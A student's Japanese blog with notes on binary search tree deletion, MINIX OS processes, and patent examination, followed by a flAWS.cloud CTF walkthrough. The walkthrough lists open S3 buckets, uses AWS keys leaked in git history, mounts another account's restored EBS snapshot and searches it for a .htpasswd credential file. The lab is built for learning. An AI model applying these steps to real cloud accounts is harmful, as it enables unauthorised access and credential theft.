雑記

いち情報系大学生

二分探索木のノード削除 概念的な説明(コードなし)

本やネットの解説を読んで復習してたんですが、不親切だなと感じる解説が多かったので備忘録を兼ねて自分でまとめます。コードは色んなところにあるので概念的な解説のみです。

ノードを削除する際は、以下の3つのノードに着目します
z: 削除したい(キーを持っている)ノード
y: 削除するノード
x: yの子ノード

※「yとzは同じノードでは?」と感じる人もいるかもしれませんが、一旦分けて考えてください。

ノードを削除する場合、木の構造によって以下の3つのケースに場合分けする必要があります。
① zが子ノードを1つも持たない場合
② zが子ノードを1つだけ持つ場合
③ zが子ノードを2つ持つ場合

①及び②の場合、y=zとなります。つまり、削除したいノードを削除すれば良いということになります。

③はちょっと複雑で、yはzの次接点(successor)になります。次接点についてはいろいろな表現で説明できますが、一番わかり易い表現をすると「zの右部分木の中でキーが最小となるノード」のことです。つまり③のケースでは削除するのはzそのものではなく、zの右部分木の中で最小のノードということになります。zの次接点を削除した後、次接点に元々入っていた値をzの位置に上書きすることで、実質的にzを削除したということにします。このキータの記事(二分探索木におけるノードの削除 - Qiita)のcase3の図が、イメージとしては近いかなと思います。

少し脱線するようですが、”ノードを削除する”というのはポインタをつなぎ替える作業を意味しています。つまり、削除前に「yの親」⇔「y」⇔「yの子」となっていたものを、ノード構造体の中身である.nextや.prevを変更することによって「yの親」⇔「yの子」といった形につなぎ替えることです。従ってyを削除するには、yの子であるxを決める必要があります。

xの決め方は以下の通りです。
①の場合、ノードyは子を持っていないので、x=NILとする。
②の場合、ノードyは1つの子を持っているので、それをxとする。
③の場合、ノードy(zの次接点)は右の子しか持っていない。それをxとする。

xとyが決まったら、それを親子関係としてつなぎ替えます。

OS学習メモ(MINIX本2.1-2.4章)

2章 プロセス

2.1 プロセス概念

「プロセス」は、あらゆるOSにおいて最も中心となる概念で、これは実行中のプログラムを抽象化したものである。近年のコンピュータは同時にいくつかのことを行うことができるが、厳密にはどの瞬間もCPUは一つのプログラムを(いくつかのプロセスを切り替えながら)実行していて、1秒間に複数のプログラムを処理することで並列処理のように見せている。

 

2.1.2 プロセスの生成

OSは必要となるプロセスを確実に生成するなにかしらの方法が要求される。単純なシステムでは、必要なプロセスを起動時に全て用意することができるが、汎用システムでは動作中に必要に応じてプロセスを生成(及び終了)しなければならない。

プロセス生成には以下の4つの事象が存在する

・システムの初期化

・実行中プロセスによるプロセス生成システムコール発行

・ユーザからの新たなプロセス生成要求

・バッチジョブの開始

(”システムの初期化”に関して、)OS起動時に生成されるプロセスは「フォアグラウンドプロセス」と「バッググラウンドプロセス」の2つに分かれる。前者はユーザとやり取りをしてユーザのために仕事をするもので、後者に関しては決まったユーザに関連付けられているわけではないが特定の機能を持っているプロセスである。ウェブページへの要求を受け付けたり、印刷処理のためにバックグラウンドで常駐しているプロセスのことを”デーモン”と呼ぶ。

2.1.3 プロセス終了

プロセスの終了条件は以下のようなものがある

通常終了/エラー終了/致命的なエラーが発生した場合/他のプロセスによるkill命令

2.1.4 プロセス階層

いくつかのシステムでは、親プロセスがforkによって子プロセスを生成した時にそれらが何らかの関係で関連付けられている場合がある。この子プロセスがさらにプロセスを生成することで、階層構造ができていく。

2.1.5 プロセスの状態

プロセスはそれぞれプログラムカウンタやレジスタ,スタックなどの内部情報を持って独立しているが、場合によっては相互で作用,通信,同期する必要がある。この時、プロセスの実行速度の相違によっては「必要な入力データが存在しない」ということも起こり得る。この場合、入力データが利用可能になるまで他方の処理はブロックされる。プロセスがとり得る状態は実行状態/実行可能状態/ブロック状態の3つ。

プロセスモデル: 「OSの最下層にスケジューラがあって、その上に様々なプロセスが存在している」という基本構造のこと。
--------------------
| p1 | p2| p3 | ←プロセス
--------------------
| スケジューラ |
--------------------

 

2.1.6 プロセスの実装

プロセスモデルを実現するために、OSはプロセステーブルと呼ばれる構造体配列(エントリテーブルという)を管理する。プロセスを”実行中”→”実行可能状態”に切り替える際、エントリに「プロセスの状態に関する情報、プログラムカウンタ、スタックポインタ、開いているプロセスに関する情報,etc...」といった、プロセス実行を再開するために必要な全ての情報を格納する。

 

個々のI/Oデバイス(ハードディスクや大麻など)に関連付けられたテーブル上のデータ構造体を”割り込みディスクリプタテーブル”と呼ぶ。このテーブルの個々のエントリ(キーと値の組)の中で最も重要な部分は割り込みベクタと呼ばれ、割り込みサービス手続きのアドレスを格納している。割り込みサービス手続きは、まず最初に実行中のプロセスのプロセステーブルのエントリに全レジスタを保存する。

割り込み発生時にOSが行う処理の概要(上から順番)
・ハードウェアがプログラムカウンタ等をスタックに積む
・ハードウェアが割り込みベクタの値をプログラムカウンタにロード
アセンブリ言語の手続きがレジスタを保存
アセンブリ言語の手続きが新しいスタックを設定する
C言語の割り込みサービスルーチンがメッセージを作って送信
・メッセージ渡しコードが、メッセージを待つ受信側プロセスを”実行可能”にする
・スケジューラが次に実行するプロセスを決定する
C言語の手続きがアセンブリコードにリターンする
アセンブリ言語の手続きが、次に実行するプロセスの実行を開始する

 

2.1.7 スレッド

プロセスの持つ別の概念として、単にスレッドと呼ばれる制御の流れがある。

スレッドはプロセス中の実行単位であると言える。詳しくは別の所で。

 

2.2 プロセス間通信

プロセスは他のプロセスと頻繁に通信する必要がある。プロセス間通信における3つの問題は、どのように伝達するか/重大な作業をしている時にプロセスが互いの処理を妨害しあわないことを保証すること/依存関係が存在する場合の適切な実行順序をどう決定するか である。

 

2.2.1 競合状態

OSではいくつかのプロセスが共通の記憶領域を共有することがある。2つ以上のプロセスが共有データを読み書きし、誰が(厳密に)先に実行したのかによって最終結果が異なってしまう状態を競合状態と呼ぶ。

 

2.2.2 クリティカルセクション

競合状態の回避に必要なのは相互排除、つまりあるプロセスが共有変数やファイル利用を使っている時に、別のプロセスが同じ作業を行わないようにすることである。共有メモリにアクセスするプログラム部分を危険領域/クリティカルセクションと呼ぶ。どの2つのプロセスも危険領域に同時に入らなければ競合状態は回避できる。

 

これによって競合状態は回避できるけれども、効率的に共有データを利用するためにはこれだけでは不十分なので、よりよい解決方法を得るためには更に3つの条件が必要になる

 

・処理速度やCPUの個数に関する仮定を作らない

・危険領域以外を実行しているプロセスは他のプロセスをブロックしない

・危険領域に入るために無期限に待たない

 

2.2.3 ビジーウエイトによる相互排除

相互排除を実現するためのいくつかの方式

 

割り込み禁止方式

一番手っ取り早いのがこれ。あるプロセスが危険領域に入ったら全ての割り込みを禁止して、危険領域から出る時に割り込みを許可し直す。ただ、ユーザに割り込み禁止権限を与えるのは良くない(ユーザプロセスが割り込みを禁止して二度と割り込みを許可しなかったらシステムはどうなってしまうのやら)。しかしカーネルにとっては、変数やリスト更新のための数命令の間だけ割り込みを禁止するのは都合がいい。まとめると、割り込み禁止はOS内で用いるには便利だけれどもユーザプロセスが使用する一般的な相互排除の仕組みとしては適さない。

 

ロック変数方式

危険領域に入っているプロセスの[ある/ない]を[0/1]の変数で管理する。

しかしこれにも問題もある。プロセスがロック変数を読み込んで0であることを認識し、そのプロセスがロックを1に設定しようとする前に別のプロセスがスケジュールされて実行して…なんてことが起こってしまうと2つのプロセスが同時に危険領域に入ることになる。

 

その他

厳密な相互実行方式

Petersonの解法

TSLを用いた解法 など

 

2.2.4 スリープとウェイクアップ

Pertersonの解法もTSLを用いた解法も本質は同じで、「プロセスが危険領域に入る前に進入が許可されているかを検査し、されていなければ許可されるまで検査を繰り返す」ということ(ビジーウエイト)。

 

2.2.5 セマフォ

ダイクストラによってセマフォと呼ばれる新たな変数の型が導入された。簡単に言うと、セマフォは利用可能な資源の数を表すための変数で、0ならば利用可能な資源がない状態で、1以上であればその数だけ資源が使えるといった具合になっている。セマフォ変数に対してはdownとupという2つの操作があって、down操作は”セマフォ変数の値がが0より大きければ値を1減らして処理を続行する”もので、仮にセマフォ変数が0であればプロセスはスリープする。反対にup操作はセマフォ変数を1増加させるもので、downを完了出来ずにスリープしている処理があればそれをシステムが選択してdownの完了を許可する。

 

 

少し飛んで…

 

 

2.4 スケジューリング

2.4.1  スケジューリング概論

2つ以上のプロセスが実行可能状態にあってCPUが1つしか利用できない場合、OSの中のスケジューラと呼ばれる部分がスケジューリングアルゴリズムを使って、どのプロセスを先に実行するかを決定する。

 

まず、スケジューリングが必ず必要になるのは以下の2つの場合

・プロセスが終了する時

・プロセスがI/Oやセマフォ待ちによってブロックする時

(これらの場合、最後に実行していたプロセスが実行可能状態にならないので、当然次に実行する他のプロセスを選ばなければならない。)

 

そして(これは必ずではないが)通常は以下の3つの場合でもスケジューリングが行われる。

・新しいプロセスが生成された時

・I/O割り込みが発生した時

・クロック割り込みが発生した時

クロック割り込みについて取り上げる。クロック割り込みは現在実行中のプロセスを長く実行し続けたかどうかを判断する機会になる。スケジューリングアルゴリズムは、クロック割り込みをどのように扱うかによって2つに分けられる。非プリエンプティブなスケジューリングアルゴリズムでは、実行中のプロセスがブロックするか自発的にCPUを手放すまでは実行を続ける。これに対してプリエンプティブなスケジューリングアルゴリズムでは、ある決まった時間の最大限までプロセスの実行を続ける。許される限界までの時間を実行し続けている場合プロセスは中断されスケジューラは他のプロセスを実行する。

 

異なる環境には当然異なるスケジューリングアルゴリズムが必要で、バッチシステム/対話型システム/リアルタイムシステムの3つの環境は区別すべきである。

 

バッチシステムには端末からの素早い応答を待っているユーザがいないため非プリエンプティブなアルゴリズム(かそれぞれのプロセスに長い時間間隔を与えるプリエンプティブなアルゴリズム)が適している。対話型なユーザがいる環境ではひとつのプロセスがCPUを独占して他のプロセスへのサービスを阻害しないようにするためにプリエンプティブなスケジューリングが必須。リアルタイムシステムでは、プロセスがそれほど長く実行しないことが分かっているためプリエンプティブなスケジューリングが必要とされない場合もある。

 

2.4.2 バッチシステムのスケジューリング

(到着順/最短ジョブ優先/残余処理時間順などの詳しい説明がありましたが情報処理技術者試験で結構詳しく勉強したのでさらっと目を通して次に行きました)

 

三段階のスケジューリング

バッチシステムは異なる3つの段階からなるスケジューリングと捉えることができる。

1.まずジョブが到着したら入力待ち行列に入り、受け入れスケジューラがどのジョブをシステムに受け入れるかを決める(残りは選択されるまで待ち行列に入ったまま)。

2.ジョブが受け入れられても、プロセスが多くて全てのプロセスを格納するだけの十分なメモリがなければ、いくつかのプロセスをディスクにスワップアウトする必要があり、これを決めるメモリスケジューラ。

3.主記憶にある実行可能状態のプロセスから、次に実行するものを選択する。これはしばしばCPUスケジューラと呼ばれ、スケジューラといえば通常はこれを意味することが多い。

 

2.4.3 対話型システムのスケジューリング

(対話型システムに用いられるアルゴリズムこれも流し読み..)

ラウンドロビン,優先度,複数キューなど

 

2.4.4 リアルタイムシステムのスケジューリング

リアルタイムシステムでは時間が重要な役割を果たしている。

一般的に、守らなければならない絶対的な時間制約があるハードリアルタイムと、ある程度ならば許容できるソフトリアルタイムに分類されるが、両方の場合において、プログラムを多数のプロセスに分割してそれぞれの動作を予測可能かつ事前にわかるようにすることで実現している

 

2.4.6 スレッドスケジューリング

複数のスレッドを持つプロセスがいくつかある場合、プロセスとスレッドという二段階の並列性が存在する。このようなシステムではユーザレベルのスレッドをサポートするかカーネルレベルのスレッドをサポートするかによってスケジューリングは大きく異なる。

 

ユーザレベルのスレッドスケジューリング

カーネルはスレッドの存在を感知しないので通常の処理を行う。つまりあるプロセスAを選択し、Aにクォンタム分の制御を与える(クォンタム:各プロセスに与えられる最大限の実行時間のこと)。クォンタムを使い切れば、プロセスAの内部で何が起こっているのかに関わらず(例えばプロセスAのスレッドA1だけが全てのクォンタムを消費するなど)、スケジューラは他のプロセスを実行する。

 

 

カーネルレベルのスレッドスケジューリング

スレッドにはクォンタムが与えられ、これを超過したスレッドは強制的に中断されるというもの

特許審査の流れを勉強した(ざっくりまとめ)

前書き

「ITの道に進む人間として、知的財産まわりについて一度しっかり学んでおかなくてはならないなぁ」と数年前から思っていました。これまで中々機会が無かったのですが...ありがたいことについ先日大学院の授業としてそれらを学ぶことができました。今回はその中でも”特許”に関わる部分を(備忘録も兼ねて)記事にしたいと思います。

特許出願の手続き

特許が出願されてから登録されるまでの流れをざっくりと説明します。
参考:(特許庁HP) https://www.jpo.go.jp/system/basic/patent/index.html

         
①出願
②方式審査
③(実体)審査
④特許査定
⑤設定登録
         

書類を手直しする必要があったり拒絶審査を受けたりするとまたいろいろと複雑なのですが、全て順調に進んだ場合は上記の流れになります。①~⑤を簡単に説明します。

①出願
特許権を得るために必要な書類を特許庁へ提出する手続きです。この時必要となるのは「願書」「特許請求の範囲」「明細書」「要約書」「必要な図面」です(後述)

②方式審査
出願書類が、特許庁の定める要件を満たしているかを形式的にチェックする審査。

③(実体)審査
”特許審査”といって多くの人がイメージするであろう部分がここ。
出願された発明が特許になるかどうかを決める実質的な審査です

④特許査定
審査官が特許権の設定を許可することをいいます。
お金を払うことによって”⑤設定登録”に進むことができます。

⑤設定登録
特許庁の登録原簿に特許権の設定を登録することをいいます。
この時点で特許権が発生します。


出願書類

先ほどチラッと登場した出願書類についても説明します。特許法第36条 に基づき、特許出願の際は以下の書類を提出する必要があります。

1.願書(以下の情報を記載する必要がある)
 一. 特許出願人の氏名又は名称及び住所
 二. 発明者の氏名及び住所

2.明細書(以下の情報を記載する必要がある)
 一. 発明の名称
 二. 図面(後述)の簡単な説明
 三. 発明の詳細な説明

3.特許請求の範囲(請求項) 
 特許を取ることによって”何を独占したいか”を記載する。
 請求範囲を限定的にすれば権利としては弱く、
 逆に広範囲での請求が認められれば強い権利となります。
 
4.必要な図面(必要なければ添付する必要なし)
5.要約書

※ちなみにこうした出願書類は、弁理士の方を通じて作成するのが一般的です

出願書類に関しては、実物をみた方がイメージが掴みやすいと思います。特許情報プラットフォーム (J-PlatPat)では、出願された特許の情報を誰でも閲覧することができるようになっているので、興味がある人は一度調べてみるといいと思います。


審査について

ここでは特許審査がどのような基準で行われているのかをまとめます。これを理解することで「自分が特許を出願する際、それが拒絶されるか否かを判断しやすくなる」というメリットがあります(もちろん素人目線ですが...)

特許の審査は、(特許法第70条に基づき)願書に添付した「特許請求の範囲」をもとに行われます。判断基準の主なものとしては 「新規性」「進歩性」「産業上利用可能性」「記載要件」「先願要件」がありますが、それぞれの判断手法について以下に簡単にまとめます。


新規性の判断手法
審査対象となっている発明(本願発明)と、既存の発明(引用発明)を構成要件ごとに比較して同一か否か判断します。そして全ての構成要件が同一であった場合、新規性がないと判断されます。この際、本願発明の要件が引用発明の要件よりも上位の概念である場合は構成要件が同一であるとみなされます(例:家電製品は冷蔵庫の上位概念、電話は携帯電話の上位概念)

具体例
本願発明:令和2年1月1日に出願された発明であり、特許請求の範囲の請求項1に「キーボードのキーを入力すると、モデルを2Dから3Dに切り替えて表示を行うコンピュータ。」と記載されている。

引用発明1:令和1年6月1日発行の雑誌の記事に、「このモバイルコンピュータは、画面上のソフトウェアキーボードのファンクションキーF1を入力することにより、モデルを2Dから3Dに切り替えて表示を行うことが可能である。」と記載されている。

引用発明2:令和1年6月1日発行の雑誌の記事に、「このモバイルコンピュータは、画面上をタップすることにより、モデルを2Dから3Dに切り替えて表示を行うことが可能である。」と記載されている。

ケース1では、本願発明と引用発明は全ての構成要件が同一であるため新規性がありません。
f:id:unyamahiro:20210114143604p:plain

ケース2では、全ての構成要件が同一にはなっていないため新規性があると判断されます。
f:id:unyamahiro:20210114143950p:plain


進歩性の判断手法
まずは同一でない構成要件を(新規性の判断同様に)特定します。そしてそれらの構成要件について、引用発明からその技術分野の専門家が容易に本願発明の構成要件に該当するものに置き換えや組み合わせができると推測される場合は進歩性がないと判断されます。但しこれは専門的に高度な判断になるため 弁理士・弁護士等の法律の専門家に任せることになります。

具体例
f:id:unyamahiro:20210114143950p:plain

先ほどの"ケース2"で考えます。 コンピュータの専門家からすれば、画像をタップすることはデータを入力するアクションであり、またデータ入力のアクションとしてキーボードで キーを入力することもよく知られていることです。従って、画像をタップすることをキーボード入力に置き換えてみることは容易であり、進歩性はないと判断されます。

また上記の他にも、「出願するよりも先に論文を発表し、論文に出願した発明内容が開示されてしまっている」というケースなども進歩性がないと判断されます(例外あり)


産業上の利用可能性
特許法第29条には「産業上利用することができる発明をした者は特許を受けることができる。」と書かれています。ここに登場した発明という言葉ですが、実は法律で明確に「自然法則を利用した技術的思想の創作のうち高度のもの」と定義されています。発明かそうで無いかという判断も意外と難しいのですが...ここでは扱いません。

では産業上利用できない発明とはどんなものを指すかということですが、いわゆる医療行為がこれに該当します。医療行為に特許権を付与してしまうと、医師が特許権侵害を恐れながら医療行為を行うようになってしまい、医療行為の円滑化を阻害してしまうという理由からです(医薬品などはまた別)


記載要件
端的にいうと、出願書類の中における発明の詳細について、その技術分野の専門家が発明を実施できる程度には明確に記載しなければならないことを規定しています。

先願要件
同じような発明が出願された場合は、先に出願した方が特許を取れます。


審査っぽいことをしてみた

実は、特許が出願されると公開広報という形で(未審査のものも含めて)内容は全て公開され、先ほど紹介したJ-PlatPatなどを通じて誰でも確認することができるようになります。

今回、大学院の授業のレポート課題として、未審査の公開広報から興味のあるものを1つピックアップして「新規性」と「進歩性」の有無について調べる機会があったので、その手順や所感を書いて記事をしめたいと思います(あくまでも素人目線で実施したものなので...選択した公開広報や得た結論については伏せておきます)

手順

①新規性と進歩性の調査にあたり必要そうなキーワードを(請求項を参考に)列挙

②新規性と進歩性の調査にあたり、必要そうな IPC,FI ,Fタームを列挙

③技術的に近いと思われる特許公開公報を網羅的に検索

④検索対象と、検索で発見した特許公開公報に記載されている発明と比較し、検索対象となる発明に新規性・進歩性があるかどうか判断して結論を記載

詳細

手順1.
特許を審査するにあたっては、調査対象と同様の発明が過去に行われていないかどうかを調べなくてはなりません。審査官は、過去の刊行物や特許などのありとあらゆる情報をもとにこれを判断しなくてはなりませんから、データベースで検索するためのキーワードが必要です。これを出願書類やその添付書類から抜き出す作業です。

手順2.
IPC,FI,Fタームというのは、いずれも特許を分類するための文字列のことです。一口に発明といっても、その発明がロボットに関するものなのか、食品の加工技術に関するものなのか、植物の育成方法に関するものなのか...主題は多岐に渡ります。それを階層構造とともに管理することによって、情報を扱いやすくしたり検索を高速化したりというのがこれらの3つのキーワードです。j-platpatから確認することができます。

手順3.
手順1,2で得たキーワードや分類結果に基づいて、近しい発明が無いかをデータベースで検索します。この時使用するのもJ-PlatPatで、非常に多くの情報を活用して検索することができます。
f:id:unyamahiro:20210114161932p:plain

適切なキーワード(の組み合わせ)を設定しないと膨大な件数がヒットしますが...それでは手順4が絶望的になります。得たい情報だけを的確に得られるキーワード選びには経験が必要だなと感じました。

手順4.
手順3で近しい発明をある程度リスト化できたら、それらの請求項を一つずつ比較することによって新規性や進歩性を確認します。非常に時間がかかりました。


所感
・今回は割と身近なテーマで考えてみましたが、深く調査をしていくにつれて専門的な知識がどんどん押し寄せてきて想像以上に手こずってしまい、思っていた以上に時間もかかってしまいました。もし背景知識が全く無いテーマで調査をはじめていたらと思うと恐ろしい...(そう考えると、特許庁の審査官の人たちすごい)

・J-PlatPatの「特許・実用新案検索」にてキーワード検索をした際、具体性の低いキーワードを2つ程度組み合わせて検索すると3000件以上ヒットしてしまい、日々の発明の多さに改めて驚くとともに、適切なキーワードを選ぶことの重要性を理解しました。

あとがき

知的財産管理という点において、特許以外にも色々な権利を常に気にしていなくてはなりません。IT業界ではさまざまな権利が絡んでくると思うので、就職するまでには、倫理観とかリテラシーとか...そのあたりをしっかりさせておきたい。

flAWS.cloudを、勉強しながら解いてみる(level4まで)

今回はflAWS.cloudというCTFを解いてみようと思います。本CTFについてざっくり説明すると「AWSを使用する際のよくある間違いや落とし穴や脆弱性を取り扱った問題集」です。

flaws.cloud

(前置き)

これに取り組むにあたって...僕は今まで一切AWSについて勉強したことがなかったので、まずは自習するところからはじめなければなりませんでした。はじめはAWSの公式e-learningで勉強しようとしたのですが、コース内容が体系的でなく、説明を聞いても概念的な部分がぼんやりしたままで中々理解が進まなかったので、途中からはUdemyの講座でハンズオン形式で勉強を進めました。概念的な部分をひととおり抑えたあとは、EC2にnode.jsの環境構築して簡単なwebページつくるなどもしてみました。

上記を経て...今回のCTFに取り組むにあたっての自分のレベル感としては「AWSで使われる単語の意味とかはざっくり理解できているけど、具体的な開発方法とかに関しては調べないとほとんど答えられない」という感じ。CTFで問題を解くためには当然いろんな情報を集めないといけないので、そういう作業を通じて理解を深めていければいいなという意図でした。flAWS.cloudには丁寧にヒントとかも用意されているということなので、積極的に参照しながら(場合によってはwriteUPとかも調べつつ)解きました。


Level1

問題文
This level is *buckets* of fun. See if you can find the first sub-domain.

↑だけだと何のことやらだったので、早速ヒント参照。すると静的なウェブサイトhttp://flaws.cloud/はS3バケットとしてホストされているということなどがつらつらと書いてあった。しかしここまで読んでも次に何をすべきなのか分からなかったので、もう少し読み進める。

すると、digコマンドで何かやってた。digコマンド...”ドメイン名からIPアドレスを知るコマンド”っていうざっくりとした知識はあったものの実際に使ったことはなかったので、”使い方(オプション)”や”実行結果の見方”や"nslookupコマンドとの違い"などじっくり調べた(1時間程度)

使い方がわかったところで、実際にdigコマンドを使ってflaws.cloudのIPアドレスを調べてみる。

$ dig +nocmd flaws.cloud any +multiline +noall +answer
flaws.cloud.		5 IN A	52.218.193.75
~以下略~

52.218.193.75に飛んでみると、Amazon S3(拡張性と耐久性を兼ね揃えたクラウドストレージ)|AWSというページだった。冒頭に書いてあった「このサイトがS3バケットとしてホストされている」ということがここでも確認できた。

さて、ヒント通りに進めていく。
上記の手順で得たIPアドレスを、nslookupコマンドで調べてみる。

$ nslookup 54.218.193.75                             
Server:		192.168.43.1
Address:	192.168.43.1#53

Non-authoritative answer:
75.193.218.54.in-addr.arpa	name = ec2-54-218-193-75.us-west-2.compute.amazonaws.com.

~以下略~

ページがus-west-2リージョンでホストされていることがわかったので、この情報をもとにバケットの中身をみてみる。

awsコマンドを実行したいのでAWS CLIをインストール...してもよかったけれど、面倒だったので(5分あれば終わるのに)、以前勉強用に立ち上げたEC2インスタンスsshログインした。その中で以下を実行。

aws s3 ls s3://flaws.cloud/ --no-sign-request --region us-west-2
2017-03-14 03:00:38       2575 hint1.html
2017-03-03 04:05:17       1707 hint2.html
2017-03-03 04:05:11       1101 hint3.html
2020-05-22 18:16:45       3162 index.html
2018-07-10 16:47:16      15979 logo.png
2017-02-27 01:59:28         46 robots.txt
2017-02-27 01:59:30       1051 secret-dd02c7c.html

secretなんちゃらというファイルがあるので、これを確認してみる。アドレスバーにhttp://flaws.cloud.s3.amazonaws.com/secret-dd02c7c.htmlと入力すればよい。

みてみると↓
f:id:unyamahiro:20210112104458p:plain

となり、Level2へ進めるようになった。
http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud

先へ進む前に...Level2のページに、Level1で取り扱ったセキュリティ上の問題点が解説してあったのでしっかり目を通す。以下引用。

By default, S3 buckets are private and secure when they are created. To allow it to be accessed as a web page, I had turn on "Static Website Hosting" and changed the bucket policy to allow everyone "s3:GetObject" privileges, which is fine if you plan to publicly host the bucket as a web page. But then to introduce the flaw, I changed the permissions to add "Everyone" to have "List" permissions.

"Everyone" means everyone on the Internet. You can also list the files simply by going to http://flaws.cloud.s3.amazonaws.com/ due to that List permission.

要するにちゃんとアクセス制限しないとダメってことらしい。
自分が使うことになった時は気をつけたい。


Level2

問題文
The next level is fairly similar, with a slight twist. You're going to need your own AWS account for this. You just need the free tier.

前問とほとんど同じということなので、まずはヒントを見ずに以下を試した。
sshログインしてから...

$ aws s3 ls s3://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
2017-02-27 02:02:15      80751 everyone.png
2017-03-03 03:47:17       1433 hint1.html
2017-02-27 02:04:39       1035 hint2.html
2017-02-27 02:02:14       2786 index.html
2017-02-27 02:02:14         26 robots.txt
2017-02-27 02:02:15       1051 secret-e4443fc.html

前問同様にsecretファイルを覗いてみると↓
f:id:unyamahiro:20210112114812p:plain

となってあっさり解けてしまった。なんか釈然としないので...ヒントも見て、どこか"fairly similar, with a slight twist (問題文)"なのかを確認することにした。

調べていくとどうやら、Level1で「Everyone」に設定されていたアクセス制御が今回は「Any AuthenticatedAWSUser」に変更されていたよう。「AWSアカウントをもっている」ということだけが突破条件だったみたい(これは「自分のアカウントのユーザーだけがアクセス可能」な設定であると誤解されることがたまにあるらしい)。今回はSSHログインをしてAWS CLIを利用していたのでアクセスできたっぽい。


Level3

問題文:
The next level is fairly similar, with a slight twist. Time to find your first AWS key! I bet you'll find something that will let you list what other buckets are

例によって中身の確認

$ aws s3 ls s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/
                           PRE .git/
2017-02-27 00:14:33     123637 authenticated_users.png
2017-02-27 00:14:34       1552 hint1.html
2017-02-27 00:14:34       1426 hint2.html
2017-02-27 00:14:35       1247 hint3.html
2017-02-27 00:14:33       1035 hint4.html
2020-05-22 18:21:10       1861 index.html
2017-02-27 00:14:33         26 robots.txt

前2問のようなsecretファイルは見つからない。
代わりに見つかったのは .git ファイル。

というわけで、まずはgit logで状態を確認する
(gitがインストールされていなかったので"yum install git"を実行)

$git log
commit b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526 (HEAD -> master)
Author: 0xdabbad00 <scott@summitroute.com>
Date:   Sun Sep 17 09:10:43 2017 -0600

    Oops, accidentally added something I shouldn't have

commit f52ec03b227ea6094b04e43f475fb0126edb5a61
Author: 0xdabbad00 <scott@summitroute.com>
Date:   Sun Sep 17 09:10:07 2017 -0600

    first commit

2つのコミットが。
・コミットの間隔が35秒くらいしかない
・”Oops, accidentally added something I shouldn't have”という怪しすぎるコミットメッセージ

というわけで、状態を戻して確認してみる。

git checkout f52ec03b227ea6094b04e43f475fb0126edb5a61

ここでls打ってみると、"access_keys.txt"という”いかにも”なファイルを発見。
(どう扱ったらいいのかわからなかったので一回ヒントを見たけど、
普通にaws configureすればいいだけだった)

$ cat access_keys.txt 
access_key (キー1)
secret_access_key (キー2)

$ aws configure --profile flaws
AWS Access Key ID [None]: (キー1を入力)
AWS Secret Access Key [None]: (キー2を入力)
Default region name [None]: us-west-2
Default output format [None]: json

$ aws s3 ls aws --profile flaws
2020-06-25 17:43:56 2f4e53154c0a7fd086a04a12a452c2a4caed8da0.flaws.cloud
2020-06-26 23:06:07 config-bucket-975426262029
2020-06-27 10:46:15 flaws-logs
2020-06-27 10:46:15 flaws.cloud
2020-06-27 15:27:14 level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
2020-06-27 15:27:14 level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
2020-06-27 15:27:14 level4-1156739cfb264ced6de514971a4bef68.flaws.cloud
2020-06-27 15:27:15 level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud
2020-06-27 15:27:15 level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
2020-06-28 02:29:47 theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud

解けた。
level4に進むには、該当行コピーしてアドレスバーに貼り付ければOK。
ちなみに5以降は、パーミッションの関係でアクセスできないようになっていた。

解説には、「キーが流出した(またはしている可能性が少しでもある)場合は、それを削除した上で新しいキーを生成しなければならない」と書いてあった。


Level4

問題文
For the next level, you need to get access to the web page running on an EC2 at 4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud
It'll be useful to know that a snapshot was made of that EC2 shortly after nginx was setup on it.

アクセスしようとしたらユーザ名とパスワードを要求され、間違えると401エラーで入れない。いろいろ試したけど上手く行かなかったのでヒントへ。

$ aws sts get-caller-identity 

というのを使っている。読んで字のごとく呼び出し元(caller)のIAM情報を取得することができるっぽくて、 これを "--profile flaws"と合わせて実行することで、このユーザ名が"backup"であることがわかった。

EC2のディスクボリュームはバックアップをとれるらしくて、この"backup"アカウントが作成しているバックアップはEC2のスナップショットとのこと。そしてそれを見つけるために以下のコマンドを使っていた。

$ aws --profile flaws ec2 describe-snapshots --owner-id 975426262029

(975426262029は、さっき”aws sts get-caller-identity ”を実行した時に判明)

以下、実行結果

{
    "Snapshots": [
        {
            "Description": "", 
            "Tags": [
                {
                    "Value": "flaws backup 2017.02.27", 
                    "Key": "Name"
                }
            ], 
            "Encrypted": false, 
            "VolumeId": "vol-04f1c039bc13ea950", 
            "State": "completed", 
            "VolumeSize": 8, 
            "StartTime": "2017-02-28T01:35:12.000Z", 
            "Progress": "100%", 
            "OwnerId": "975426262029", 
            "SnapshotId": "snap-0b49342abd1bdcb89"
        }
    ]
}

これがスナップショットということは、復元もできるはず。
ということで一旦ヒントから離れ、調べながらボリュームを作成してみる。

※ 今まではec2-userとしてsshログインしながらawsコマンドとか使っていたけれど、それだと今回の作業が(付与権限的に)できないので、ここでとうとうaws cliをインストールして自分のアカウントでサインインしなければならなかった。

ボリューム作成→EC2インスタンスにアタッチ という流れでやる。

aws ec2 create-volume --availability-zone us-west-2a --region us-west-2  --snapshot-id  snap-0b49342abd1bdcb89

実行後、awsコンソールからEC2インスタンスを作成。この時"ストレージの追加"でボリュームを新たに作成して、用意したボリュームをアタッチした。その後ec2-userとしてsshログインして、今追加したボリュームをマウントする。

$ lsblk
NAME    MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda    202:0    0   8G  0 disk 
└─xvda1 202:1    0   8G  0 part /
xvdb    202:16   0   8G  0 disk 
└─xvdb1 202:17   0   8G  0 part 

sudo file -s /dev/xvdb1

sudo mount /dev/xvdb1 /mnt

マウントできたので、ここからは普通のCTFのweb問題のようにパスワードを探していくことになる。401ページにnginxって書いてあったのでここに注目。はじめはnginxは「読み方がエンジンエックス」くらいしか知らなかったので(web関連の技術ということも知らなかった)調べながら進めることにした。

webについてはまだ勉強を始めてから日が浅く、認証の種類とかもあんまりよくわかってなかったけれど、まずはBASIC認証だとアタリをつけてみることにした。そうなると次に探すべきは.htpasswdファイルかなぁということで

$sudo find /mnt -name .htpasswd -print
/mnt/etc/nginx/.htpasswd

